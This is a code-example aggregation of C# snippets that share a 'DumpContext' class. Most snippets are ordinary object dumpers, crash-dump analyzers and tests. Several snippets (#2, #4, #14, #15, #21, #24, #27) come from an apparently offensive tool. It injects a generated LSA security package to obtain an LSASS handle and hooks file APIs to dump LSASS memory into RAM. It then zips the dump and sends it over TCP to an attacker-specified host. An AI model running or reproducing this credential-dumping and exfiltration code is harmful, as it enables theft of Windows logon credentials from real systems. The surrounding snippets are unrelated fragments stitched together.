Пример #1
0
 internal override void Dump(DumpContext dumpContext)
 {
     base.Dump(dumpContext);
     dumpContext.Indent();
     _sequenceManager.Dump(dumpContext);
     dumpContext.Unindent();
 }
Пример #2
0
        static uint SetFilePointer(IntPtr fileHandle, int distanceToMove, ref int distanceToMoveHigh, MoveMethod moveMethod)
        {
            DumpContext dc = GetDumpContextFromHandle(fileHandle);

            if (dc == null)
            {
                return(SetFilePointer_orig(fileHandle, distanceToMove, ref distanceToMoveHigh, moveMethod));
            }

            switch (moveMethod)
            {
            case MoveMethod.Begin:
                dc.CurrentOffset = (uint)distanceToMove;
                break;

            case MoveMethod.Current:
                dc.CurrentOffset = (uint)(dc.CurrentOffset + distanceToMove);
                break;

            case MoveMethod.End:
                dc.CurrentOffset = (uint)(dc.Size + distanceToMove);
                break;

            default:
                return(0xffffffff);
            }

            return(dc.CurrentOffset);
        }
Пример #3
0
        internal void Dump(DumpContext dumpContext)
        {
            dumpContext.AppendLine("Sequence Id = " + _id.ToString() + " Count = " + this.Count.ToString() + " Subscribers = " + this.SubscriberCount.ToString());
            dumpContext.Indent();
            int           count = Math.Min(this.Count, 20);
            StringBuilder sb    = new StringBuilder();

            sb.Append("[ ");
            for (int i = 0; i < count; i++)
            {
                if (i > 0)
                {
                    sb.Append(", ");
                }
                Identity identity = this[i];
                sb.Append("[");
                foreach (DictionaryEntry entry in identity)
                {
                    sb.Append(identity[entry.Key].ToString());
                }
                sb.Append("]");
            }
            sb.Append(" ]");
            dumpContext.AppendLine(sb.ToString());
            dumpContext.Unindent();
        }
Пример #4
0
        static bool WriteFile(IntPtr fileHandle, IntPtr buffer, uint numberOfBytesToWrite, out uint numberOfBytesWritten, IntPtr overlapped)
        {
            DumpContext dc = GetDumpContextFromHandle(fileHandle);

            if (dc == null)
            {
                return(WriteFile_orig(fileHandle, buffer, numberOfBytesToWrite, out numberOfBytesWritten, overlapped));
            }

            if (dc.Limit != 0 && dc.CurrentOffset + numberOfBytesToWrite > dc.Limit)
            {
                SetLastError(ERROR_DISK_FULL);
                numberOfBytesWritten = 0;
                return(false);
            }
            else if (dc.CurrentOffset + numberOfBytesToWrite > dc.Data.Length)
            {
                Console.Write(".");
                dc.Resize(dc.CurrentOffset + numberOfBytesToWrite);
            }

            Marshal.Copy(buffer, dc.Data, (int)dc.CurrentOffset, (int)numberOfBytesToWrite);
            dc.CurrentOffset    += numberOfBytesToWrite;
            numberOfBytesWritten = numberOfBytesToWrite;

            int growth = (int)dc.CurrentOffset - (int)dc.Size;

            if (growth > 0)
            {
                dc.Size += (uint)growth;
            }

            return(true);
        }
Пример #5
0
        internal void Dump(DumpContext dumpContext)
        {
            dumpContext.AppendLine("Sequence Id = " + this._id.ToString() + " Count = " + base.Count.ToString() + " Subscribers = " + this.SubscriberCount.ToString());
            dumpContext.Indent();
            int           num     = Math.Min(base.Count, 20);
            StringBuilder builder = new StringBuilder();

            builder.Append("[ ");
            for (int i = 0; i < num; i++)
            {
                if (i > 0)
                {
                    builder.Append(", ");
                }
                Identity identity = this[i];
                builder.Append("[");
                foreach (DictionaryEntry entry in identity)
                {
                    builder.Append(identity[entry.Key].ToString());
                }
                builder.Append("]");
            }
            builder.Append(" ]");
            dumpContext.AppendLine(builder.ToString());
            dumpContext.Unindent();
        }
Пример #6
0
        private static void DumpEnumerable(IEnumerable enumerable, DumpContext ctx)
        {
            Int32        nCount          = 0;
            Boolean      isSimpleType    = true;
            Boolean      isKeyValuePairs = false;
            PropertyInfo keyProp         = null;
            PropertyInfo valueProp       = null;
            var          type            = (from object value in enumerable
                                            where value != null
                                            select value.GetType()).FirstOrDefault();

            if (type != null)
            {
                if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(KeyValuePair <,>))
                {
                    keyProp         = type.GetProperty("Key");
                    valueProp       = type.GetProperty("Value");
                    isKeyValuePairs = true;
                }
                isSimpleType = Type.GetTypeCode(type) != TypeCode.Object;
            }
            foreach (Object value in enumerable)
            {
                if (!isSimpleType)
                {
                    ctx.NewLine();
                }
                else if (nCount > 0)
                {
                    ctx.Builder.Append(ctx.Settings.EnumerableDelimiter);
                }
                if (nCount >= ctx.Settings.MaxEnumerableItems)
                {
                    ctx.Builder.Append("... (first ").Append(nCount.ToString()).Append(" items");
                    var collection = enumerable as ICollection;
                    if (collection != null)
                    {
                        ctx.Builder.Append(", ").Append(collection.Count.ToString()).Append(" items total");
                    }
                    ctx.Builder.Append(")");
                    break;
                }
                if (!isKeyValuePairs)
                {
                    DumpObject(value, true, ctx);
                }
                else
                {
                    ctx.Builder.Append(ToStringSafe(keyProp.GetValue(value, null)));
                    ctx.Builder.Append(": ");
                    DumpObject(valueProp.GetValue(value, null), false, ctx);
                }
                nCount++;
            }
            if (nCount == 0)
            {
                ctx.Builder.Append("<EMPTY>");
            }
        }
Пример #7
0
 public void Cleanup()
 {
     if (context != null)
     {
         context.Dispose();
         context = null;
     }
 }
Пример #8
0
        private static void DumpProps(object obj, Type type, DumpContext ctx)
        {
            var propValues = new Dictionary <String, Object>();

            PropertyInfo[] props = type.GetProperties(BindingFlags.Instance | BindingFlags.Public);
            foreach (var prop in props)
            {
                if (!prop.CanRead || prop.GetIndexParameters().Length != 0)
                {
                    continue;
                }
                if (ctx.Settings.PropsToIgnore.Contains(prop.Name))
                {
                    continue;
                }
                try
                {
                    propValues[prop.Name] = prop.GetValue(obj, null);
                }
                catch (TargetInvocationException ex)
                {
                    propValues[prop.Name] = String.Format("Ошибка при получении свойства {0} объекта типа {1} : {2}",
                                                          prop.Name,
                                                          type.FullName,
                                                          ex.InnerException != null ? ex.InnerException.Message : ex.Message
                                                          );
                }
            }
            FieldInfo[] fields = type.GetFields(BindingFlags.Instance | BindingFlags.Public);
            foreach (var field in fields)
            {
                if (ctx.Settings.PropsToIgnore.Contains(field.Name))
                {
                    continue;
                }
                try
                {
                    propValues[field.Name] = field.GetValue(obj);
                }
                catch (FieldAccessException ex)
                {
                    propValues[field.Name] = ex.Message;
                }
            }
            if (propValues.Count == 0 || propValues.Count > ctx.Settings.MaxProps)
            {
                WriteObject(obj, type, ctx);
            }
            else
            {
                foreach (KeyValuePair <String, Object> pair in propValues)
                {
                    ctx.NewLine();
                    ctx.Builder.Append(pair.Key).Append(": ");
                    DumpObject(pair.Value, false, ctx);
                }
            }
        }
Пример #9
0
 public ExceptionAnalyzer(DumpContext context, SDResult res)
 {
     this.context = context;
     this.res     = res;
     using (DataTarget t = this.context.CreateTemporaryDbgEngTarget()) {
         this.debugClient = t.DebuggerInterface;
         this.InitLastEvent();
     }
 }
Пример #10
0
 public SystemAnalyzer(DumpContext context)
 {
     this.context    = context;
     this.systemInfo = new SDSystemContext();
     using (DataTarget t = this.context.CreateTemporaryDbgEngTarget()) {
         this.debugClient = t.DebuggerInterface;
         this.InitSystemInfo();
     }
 }
Пример #11
0
 public static void DumpObject(Object obj, TextBuilder builder, ObjectDumperSettings settings)
 {
     var ctx = new DumpContext
                   {
                       Builder = builder,
                     Settings = settings ?? ObjectDumperSettings.Default,
                       RootType = (!settings.DoNotUseToStringMethod || obj == null) ? null : obj.GetType()
                   };
     DumpObject(obj, /*bNeedTypeName*/false, ctx);
 }
Пример #12
0
        public MemoryAnalyzer(DumpContext context)
        {
            this.context         = context;
            this.memDict         = new Dictionary <ulong, SDMemoryObject>();
            this.blockingObjects = new List <SDBlockingObject>();

            this.GetBlockingObjects();
            this.InitMemoryStat();
            this.PrintMemoryStat();
        }
Пример #13
0
        public static void DumpObject(Object obj, TextBuilder builder, ObjectDumperSettings settings)
        {
            var ctx = new DumpContext
            {
                Builder  = builder,
                Settings = settings ?? ObjectDumperSettings.Default,
                RootType = (!settings.DoNotUseToStringMethod || obj == null) ? null : obj.GetType()
            };

            DumpObject(obj, /*bNeedTypeName*/ false, ctx);
        }
Пример #14
0
        static uint GetFileSize(IntPtr fileHandle, out uint fileSizeHigh)
        {
            DumpContext dc = GetDumpContextFromHandle(fileHandle);

            if (dc == null)
            {
                return(GetFileSize_orig(fileHandle, out fileSizeHigh));
            }

            fileSizeHigh = 0;
            return(dc.Size);
        }
Пример #15
0
        static void SaveZip(string fileName, DumpContext dc)
        {
            using (var fileStream = new FileStream(fileName, FileMode.Create, FileAccess.ReadWrite)) {
                using (var archive = new ZipArchive(fileStream, ZipArchiveMode.Create, true)) {
                    var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.dmp");

                    using (var entryStream = lsassDump.Open()) {
                        using (var streamWriter = new BinaryWriter(entryStream)) {
                            streamWriter.Write(dc.Data, 0, (int)dc.Size);
                        }
                    }
                }
            }
        }
Пример #16
0
        public void Can_extract_gc_roots()
        {
            using var dumpContext = new DumpContext(_store);
            dumpContext.LoadFromDump("allocations.dmp");


            dumpContext.ExtractDataWith(new GcRootsExtractor(), new HeapObjectsExtractor());
            using var session = _store.OpenSession();

            var gcRootCount = session.Query <GcRoot>().Count();

            //sanity check...
            Assert.Equal(60, gcRootCount);
        }
Пример #17
0
 internal void Dump(DumpContext dumpContext)
 {
     dumpContext.AppendLine("SequenceManager, Items count = " + this._itemIdToItemHash.Count.ToString() + ", Subscribers = " + this._clientIdToSequenceHash.Count.ToString());
     Sequence[] sequences = this.GetSequences();
     if (sequences.Length > 0)
     {
         dumpContext.AppendLine("Sequences");
         foreach (Sequence sequence in sequences)
         {
             dumpContext.Indent();
             sequence.Dump(dumpContext);
             dumpContext.Unindent();
         }
     }
 }
Пример #18
0
 private static void DumpEnumerable(IEnumerable enumerable, DumpContext ctx)
 {
     Int32 nCount = 0;
     Boolean isSimpleType = true;
     Boolean isKeyValuePairs = false;
     PropertyInfo keyProp = null;
     PropertyInfo valueProp = null;
     var type = (from object value in enumerable
                 where value != null
                 select value.GetType()).FirstOrDefault();
     if (type != null)
     {
         if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof (KeyValuePair<,>))
         {
             keyProp = type.GetProperty("Key");
             valueProp = type.GetProperty("Value");
             isKeyValuePairs = true;
         }
         isSimpleType = Type.GetTypeCode(type) != TypeCode.Object;
     }
     foreach (Object value in enumerable)
     {
         if (!isSimpleType)
             ctx.NewLine();
         else if (nCount > 0)
             ctx.Builder.Append(ctx.Settings.EnumerableDelimiter);
         if (nCount >= ctx.Settings.MaxEnumerableItems)
         {
             ctx.Builder.Append("... (first ").Append(nCount.ToString()).Append(" items");
             var collection = enumerable as ICollection;
             if (collection != null)
                 ctx.Builder.Append(", ").Append(collection.Count.ToString()).Append(" items total");
             ctx.Builder.Append(")");
             break;
         }
         if (!isKeyValuePairs)
             DumpObject(value, true, ctx);
         else
         {
             ctx.Builder.Append(ToStringSafe(keyProp.GetValue(value, null)));
             ctx.Builder.Append(": ");
             DumpObject(valueProp.GetValue(value, null), false, ctx);
         }
         nCount++;
     }
     if (nCount == 0)
         ctx.Builder.Append("<EMPTY>");
 }
Пример #19
0
        public void Can_load_dump()
        {
            using var dumpContext = new DumpContext(_store);
            dumpContext.LoadFromDump("allocations.dmp");

            dumpContext.ExtractDataWith(new HeapObjectsExtractor(), new StringsExtractor());

            using var session = _store.OpenSession();

            var objectCount = session.Query <Core.Object>().Count();
            var stringCount = session.Query <Core.String>().Count();

            //sanity check...
            Assert.Equal(146, objectCount);
            Assert.Equal(34, stringCount);
        }
Пример #20
0
        public ThreadAnalyzer(DumpContext context)
        {
            this.context    = context;
            this.exceptions = new List <SDClrException>();
            this.threads    = new Dictionary <uint, SDThread>();
            this.deadlocks  = new List <SDDeadlockContext>();

            using (DataTarget target = this.context.CreateTemporaryDbgEngTarget()) {
                this.debugClient = target.DebuggerInterface;

                // init threads
                this.InitAllThreadIds();
                this.InitBasicThreadInformation();
                this.GetCombinedStackTraces();
                this.GetManagedExceptions();
                this.GetBlockingObjects();
                this.DetectDeadlock();
            }
        }
Пример #21
0
        internal static void InitHookEngine(IntPtr contextHandle, uint dumpSizeLimit, int lsassPid, IntPtr lsassHandle)
        {
            hookEngine = new HookEngine();
            dumpContexts[contextHandle] = new DumpContext(dumpSizeLimit);
            MiniDumpToMem.lsassPid      = lsassPid;
            MiniDumpToMem.lsassHandle   = lsassHandle;

            SetFilePointer_detour = new SetFilePointerDelegate(SetFilePointer);
            GetFileSize_detour    = new GetFileSizeDelegate(GetFileSize);
            WriteFile_detour      = new WriteFileDelegate(WriteFile);
            NtOpenProcess_detour  = new NtOpenProcessDelegate(NtOpenProcess);

            NtOpenProcess_orig  = hookEngine.CreateHook("ntdll.dll", "NtOpenProcess", NtOpenProcess_detour);
            SetFilePointer_orig = hookEngine.CreateHook("kernelbase.dll", "SetFilePointer", SetFilePointer_detour);
            GetFileSize_orig    = hookEngine.CreateHook("kernelbase.dll", "GetFileSize", GetFileSize_detour);
            WriteFile_orig      = hookEngine.CreateHook("kernelbase.dll", "WriteFile", WriteFile_detour);

            hookEngine.EnableHooks();
        }
Пример #22
0
 public void Initialize()
 {
     if (context == null)
     {
         context = new DumpContext();
         string dump = Environment.CurrentDirectory + @"\..\..\..\SuperDump\dumps\dotnetworld2\dotnetworld2.dmp";
         Assert.IsTrue(File.Exists(dump));
         string     dac    = null;
         DataTarget target = DataTarget.LoadCrashDump(dump, CrashDumpReader.ClrMD);
         target.SymbolLocator.SymbolPath = SYMBOL_PATH;
         context.Target        = target;
         context.Runtime       = target.CreateRuntime(ref dac);
         context.Heap          = context.Runtime.Heap;
         context.DumpFile      = dump;
         context.DumpDirectory = Path.GetDirectoryName(context.DumpFile);
         context.Printer       = new ConsolePrinter();
         context.SymbolLocator = target.SymbolLocator;
         context.SymbolPath    = target.SymbolLocator.SymbolPath;
     }
 }
Пример #23
0
    public static void Main()
    {
        var logRepository = LogManager.GetRepository(Assembly.GetEntryAssembly());

        XmlConfigurator.Configure(logRepository, new FileInfo("log4net.config"));

        var logger = logRepository.GetLogger("FooBar");

        EmbeddedServer.Instance.StartServer(new ServerOptions
        {
            AcceptEula      = true,
            CommandLineArgs = new List <string> {
                "Setup.Mode=None", "RunInMemory=true"
            },
            FrameworkVersion = Environment.Version.ToString()
        });
        var store = EmbeddedServer.Instance.GetDocumentStore(new DatabaseOptions("Metadata")
        {
            Conventions = new DocumentConventions
            {
                CustomizeJsonSerializer = serializer =>
                {
                    serializer.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;
                    serializer.NullValueHandling     = NullValueHandling.Ignore;
                    serializer.ContractResolver      = new DumpExplorerContractSerializer();
                },
                RequestTimeout = TimeSpan.FromMinutes(5)
            }
        });

        using var dumpContext       = new DumpContext(store);
        dumpContext.OperationEvent += DumpContext_OperationEvent;
        dumpContext.LoadFromDump("allocations.dmp");

        EmbeddedServer.Instance.OpenStudioInBrowser();

        dumpContext.ExtractDataWith(new HeapObjectsExtractor(), new ExceptionExtractor(), new StringsExtractor(), new GcRootsExtractor());

        Console.ReadKey();
    }
Пример #24
0
        static void SendZip(string host, int port, DumpContext dc)
        {
            using (var outStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
                {
                    var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
                    using (var entryStream = lsassDump.Open())
                    {
                        using (var dumpCompressStream = new MemoryStream(dc.Data))
                        {
                            dumpCompressStream.CopyTo(entryStream);
                        }
                    }
                }

                byte[] compressedBytes = outStream.ToArray();

                Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");

                byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
                string zipHash      = BitConverter.ToString(zipHashBytes).Replace("-", "");

                Console.WriteLine($"[*] MD5: {zipHash}");

                using (var tcpClient = new TcpClient(host, port))
                {
                    using (var netStream = tcpClient.GetStream())
                    {
                        string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
                        string zipSize  = (compressedBytes.Length).ToString();
                        byte[] stage    = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
                        netStream.Write(stage, 0, stage.Length);
                        netStream.Write(compressedBytes, 0, compressedBytes.Length);
                    }
                }
            }
        }
Пример #25
0
        private static void WriteObject(Object obj, Type type, DumpContext ctx)
        {
            if (!ctx.CanUseToStringForType(type))
            {
                ctx.Builder.Append(type.FullName);
                return;
            }
            String text = ToStringSafe(obj);

            String[] lines = text.Split(new[] { Environment.NewLine }, StringSplitOptions.None);
            if (lines.Length <= 1)
            {
                ctx.Builder.Append(text);
            }
            else
            {
                ctx.Builder.IncreaseIndent();
                foreach (String line in lines)
                {
                    ctx.Builder.EmptyLine().BeginLine(line);
                }
                ctx.Builder.DecreaseIndent();
            }
        }
Пример #26
0
 private static void DumpObject(Object obj, Boolean bNeedTypeName, DumpContext ctx)
 {
     if (obj == null)
     {
         ctx.Builder.Append("<NULL>");
         return;
     }
     Type type = obj.GetType();
     TypeCode typeCode = Type.GetTypeCode(type);
     if (typeCode == TypeCode.String)
     {
         WriteObject(obj, type, ctx);
         return;
     }
     if (typeCode != TypeCode.Object)
     {
         ctx.Builder.Append(ToStringSafe(obj));
         return;
     }
     if (ctx.Depth > ctx.Settings.MaxDepth)
     {
         WriteObject(obj, type, ctx);
         return;
     }
     if (ctx.CanUseToStringForType(type))
     {
         var toStringMethod = type.GetMethod(
             "ToString",
             BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly,
             null,
             Type.EmptyTypes,
             null);
         if (toStringMethod != null)
         {
             WriteObject(obj, type, ctx);
             return;
         }
     }
     if (typeof (Stream).IsAssignableFrom(type))
     {
         WriteObject(obj, type, ctx);
         return;
     }
     if (bNeedTypeName)
         ctx.Builder.Append("{").Append(type.Name).Append("}: ");
     if (ctx.Depth > 0)
         ctx.Builder.IncreaseIndent();
     ctx.Depth++;
     IEnumerable enumerable;
     if ((enumerable = obj as IEnumerable) != null)
         DumpEnumerable(enumerable, ctx);
     else
         DumpProps(obj, type, ctx);
     ctx.Depth--;
     if (ctx.Depth > 0)
         ctx.Builder.DecreaseIndent();
 }
Пример #27
0
        static void Main(string[] args)
        {
            uint   limit    = 0;
            string fileName = "lsass.zip";
            string dllName  = "LsaProviderDuper.dll";
            string host     = "";
            int    port     = 0;
            bool   parse    = false;
            bool   showHelp = false;

            OptionSet option_set = new OptionSet()
                                   .Add("f=|filename=", "Output path for generated zip file", v => fileName = v)
                                   .Add("d=|dllName", "Output LSA DLL name", v => dllName = v)
                                   .Add("l=|limit=", "The maximum amount of memory the minidump is allowed to consume", v => limit = uint.Parse(v))
                                   .Add("host=", "IP or a hostname of the attacker's machine (if specified the dump will be sent to attacker over TCP)", v => host = v)
                                   .Add("port=", "Port number for the minidump to be sent to (must be used with --host option)", v => port = int.Parse(v))
                                   .Add("p|parse", "Parse the minidump online without touching the disk (uses https://github.com/cube0x0/MiniDump)", v => parse = v != null)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (fileName == null)
                {
                    showHelp = true;
                }

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            //Generate our LSA plugin DLL that will duplicate lsass handle into this process
            Console.Write($"[+] Generating new LSA DLL {dllName} targeting PID {Process.GetCurrentProcess().Id}.....");
            LsaAssembly.GenerateLsaPlugin(dllName);
            Console.WriteLine($"Done.");

            //Load our LSA plugin. This will actually return a failiure due to us
            //not implementing a correct LSA plugin, but it's enough to duplicate the handle
            SECURITY_PACKAGE_OPTIONS spo = new SECURITY_PACKAGE_OPTIONS();

            AddSecurityPackage(new FileInfo(dllName).FullName, spo);
            Console.WriteLine("[+] LSA security package loaded, searching current process for duplicated LSASS handle");

            //Now search this process for the duplicated handle that the LSA plugin done on our behalf
            var procHandle = FindLsassHandle();

            if (procHandle != null)
            {
                Console.WriteLine($"[+] Found duplicated LSASS process handle 0x{procHandle.Handle.ToInt64():x}");
            }
            else
            {
                Console.WriteLine($"[!] Failed to get LSASS handle, bailing!");
                return;
            }

            //http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html
            //It actually has no effect what so ever, so only a reboot will get rid of the DLL from LSASS
            DeleteSecurityPackage(new FileInfo(dllName).FullName);

            //OK, first part done.  We have our LSASS handle.  Now lets perform our dump in memory
            //by hook the relevant file writing API's and redirect to memory
            MiniDumpToMem.InitHookEngine(MagicHandle, limit, procHandle.Process.Id, procHandle.Handle);

            Console.Write("[=] Dumping LSASS memory");

            if (!MiniDumpWriteDump(procHandle.Handle, (uint)procHandle.Process.Id, MagicHandle, MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero))
            {
                if (Marshal.GetLastWin32Error() == ERROR_DISK_FULL)
                {
                    Console.WriteLine("\n[!] Minidump memory limit reached, could not create dump");
                }
                else
                {
                    Console.WriteLine($"\n[!] Minidump generation failed with error 0x{Marshal.GetHRForLastWin32Error():x}");
                }
            }
            else
            {
                Console.WriteLine($"\n[+] Minidump successfully saved to memory, size {Math.Round(MiniDumpToMem.GetDumpContextFromHandle(MagicHandle).Size / 1024.0 / 1024.0, 2)}MB");
            }

            //All done, lets clean up and zip our dump for demo purposes
            CloseHandle(procHandle.Handle);
            MiniDumpToMem.ShutdownHookEngine();

            //Get the dump contents
            DumpContext dc = MiniDumpToMem.GetDumpContextFromHandle(MagicHandle);

            //Now we can parse the dump live (may not work on some systems)
            if (parse)
            {
                Console.WriteLine("[*] Parsing minidump...");
                Minidump.Program.Main(dc.Data);
            }
            //Save the zip locally
            else if (port == -1)
            {
                SaveZip(fileName, dc);
                Console.WriteLine($"[+] Minidump saved to {fileName}");
            }
            //Or send it over TCP
            else
            {
                try
                {
                    SendZip(host, port, dc);
                    Console.WriteLine($"[+] Minidump sent to {host}:{port}");
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"[-] Error sending data: {ex.Message}");
                    Console.WriteLine(ex.StackTrace);
                }
            }
        }
Пример #28
0
 private static void DumpProps(object obj, Type type, DumpContext ctx)
 {
     var propValues = new Dictionary<String, Object>();
     PropertyInfo[] props = type.GetProperties(BindingFlags.Instance | BindingFlags.Public);
     foreach (var prop in props)
     {
         if (!prop.CanRead || prop.GetIndexParameters().Length != 0)
             continue;
         if (ctx.Settings.PropsToIgnore.Contains(prop.Name))
             continue;
         try
         {
             propValues[prop.Name] = prop.GetValue(obj, null);
         }
         catch (TargetInvocationException ex)
         {
             propValues[prop.Name] = String.Format("Ошибка при получении свойства {0} объекта типа {1} : {2}",
                 prop.Name,
                 type.FullName,
                 ex.InnerException != null ? ex.InnerException.Message : ex.Message
                 );
         }
     }
     FieldInfo[] fields = type.GetFields(BindingFlags.Instance | BindingFlags.Public);
     foreach (var field in fields)
     {
         if (ctx.Settings.PropsToIgnore.Contains(field.Name))
             continue;
         try
         {
             propValues[field.Name] = field.GetValue(obj);
         }
         catch (FieldAccessException ex)
         {
             propValues[field.Name] = ex.Message;
         }
     }
     if (propValues.Count == 0 || propValues.Count > ctx.Settings.MaxProps)
         WriteObject(obj, type, ctx);
     else
     {
         foreach (KeyValuePair<String, Object> pair in propValues)
         {
             ctx.NewLine();
             ctx.Builder.Append(pair.Key).Append(": ");
             DumpObject(pair.Value, false, ctx);
         }
     }
 }
Пример #29
0
        private static void DumpObject(Object obj, Boolean bNeedTypeName, DumpContext ctx)
        {
            if (obj == null)
            {
                ctx.Builder.Append("<NULL>");
                return;
            }
            Type     type     = obj.GetType();
            TypeCode typeCode = Type.GetTypeCode(type);

            if (typeCode == TypeCode.String)
            {
                WriteObject(obj, type, ctx);
                return;
            }
            if (typeCode != TypeCode.Object)
            {
                ctx.Builder.Append(ToStringSafe(obj));
                return;
            }
            if (ctx.Depth > ctx.Settings.MaxDepth)
            {
                WriteObject(obj, type, ctx);
                return;
            }
            if (ctx.CanUseToStringForType(type))
            {
                var toStringMethod = type.GetMethod(
                    "ToString",
                    BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly,
                    null,
                    Type.EmptyTypes,
                    null);
                if (toStringMethod != null)
                {
                    WriteObject(obj, type, ctx);
                    return;
                }
            }
            if (typeof(Stream).IsAssignableFrom(type))
            {
                WriteObject(obj, type, ctx);
                return;
            }
            if (bNeedTypeName)
            {
                ctx.Builder.Append("{").Append(type.Name).Append("}: ");
            }
            if (ctx.Depth > 0)
            {
                ctx.Builder.IncreaseIndent();
            }
            ctx.Depth++;
            IEnumerable enumerable;

            if ((enumerable = obj as IEnumerable) != null)
            {
                DumpEnumerable(enumerable, ctx);
            }
            else
            {
                DumpProps(obj, type, ctx);
            }
            ctx.Depth--;
            if (ctx.Depth > 0)
            {
                ctx.Builder.DecreaseIndent();
            }
        }
Пример #30
0
 private static void WriteObject(Object obj, Type type, DumpContext ctx)
 {
     if (!ctx.CanUseToStringForType(type))
     {
         ctx.Builder.Append(type.FullName);
         return;
     }
     String text = ToStringSafe(obj);
     String[] lines = text.Split(new[] {Environment.NewLine}, StringSplitOptions.None);
     if (lines.Length <= 1)
         ctx.Builder.Append(text);
     else
     {
         ctx.Builder.IncreaseIndent();
         foreach (String line in lines)
         {
             ctx.Builder.EmptyLine().BeginLine(line);
         }
         ctx.Builder.DecreaseIndent();
     }
 }
Пример #31
0
 public WinDbgAnalyzer(DumpContext context, string logfilepath)
 {
     this.context     = context;
     this.logfilepath = logfilepath;
 }
Пример #32
0
 internal virtual void Dump(DumpContext dumpContext)
 {
     dumpContext.AppendLine("Destination Id = " + this.Id);
 }